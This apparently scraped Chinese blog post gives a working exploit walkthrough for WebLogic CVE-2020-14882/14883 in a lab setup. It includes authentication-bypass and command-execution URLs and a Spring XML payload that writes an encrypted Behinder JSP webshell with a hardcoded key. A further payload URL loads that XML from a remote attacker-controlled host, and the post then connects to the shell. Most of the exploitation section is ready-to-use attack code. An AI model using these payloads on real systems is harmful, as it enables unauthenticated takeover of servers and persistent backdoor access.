zoukankan      html  css  js  c++  java
  • CVE-2020-14882 (weblogic未授权命令执行)

    漏洞简介

    远程代码执行漏洞 (CVE-2020-14882)POC 已被公开,未经身份验证的远程攻击者可通过构造特殊的 HTTP GET 请求,结合 CVE-2020-14883 漏洞进行利用,利用此漏洞可在未经身份验证的情况下直接接管 WebLogic Server Console ,并执行任意代码,利用门槛低,危害巨大。

    影响版本

    Oracle WebLogic Server,版本10.3.6.0,12.1.3.0,12.2.1.3,12.2.1.4,14.1.1.0。

    环境搭建

    0x01weblogic安装

    java -jar fmw_12.2.1.4.0_wls_lite_generic.jar
    

    0x02创建域


    0x03启动weblogic

    输入创建域时的用户名和密码启动服务

    进入console页面

    漏洞利用

    0x01越权

    URL加入payload,可以直接进入后台

    http://192.168.1.131:7001/console/images/%252E%252E%252Fconsole.portal
    ?_nfpb=true
    &_pageLabel=AppDeploymentsControlPage
    &handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29
    

    0x02命令执行

    例如弹出记事本

    http://192.168.1.131:7001/console/images/%252E%252E%252Fconsole.portal
    ?_nfpb=true
    &_pageLabel=HomePage1
    &handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27notepad.exe%27);%22)
    


    通过FileSystemXmlApplicationContext()载并执行远端xml文件:

    <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
      <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>cmd</value>
            <value>/c</value>
            <value><![CDATA[echo "<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>"
    		> "../../../wlserver/server/lib/consoleapp/webapp/images/shell.jsp"]]></value>
          </list>
        </constructor-arg>
      </bean>
    </beans>
    

    将poc.xml放入远端web服务器

    执行payload

    http://192.168.1.131:7001/console/images/%252E%252E%252Fconsole.portal
    ?_nfpb=true
    &_pageLabel=
    &handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.1.7/poc.xml")
    

    打开冰蝎,连接webshell

  • 相关阅读:
    手机站测试工具(node服务器)
    [mongodb]child process failed, exited with error number 100
    正则
    VBA基础之Excel 工作薄(Book)的操作(三)
    VBA基础之Excel 工作表(Sheet)的操作(二)
    VBA基础之Excel VBA 表格的操作(一)
    基本的布局问题
    【转】jQuery最佳实践
    【转】jQuery的deferred对象详解
    2018-2019-1 20189221《Linux内核原理与分析》第二周作业
  • 原文地址:https://www.cnblogs.com/hxlinux/p/14723721.html
Copyright © 2011-2022 走看看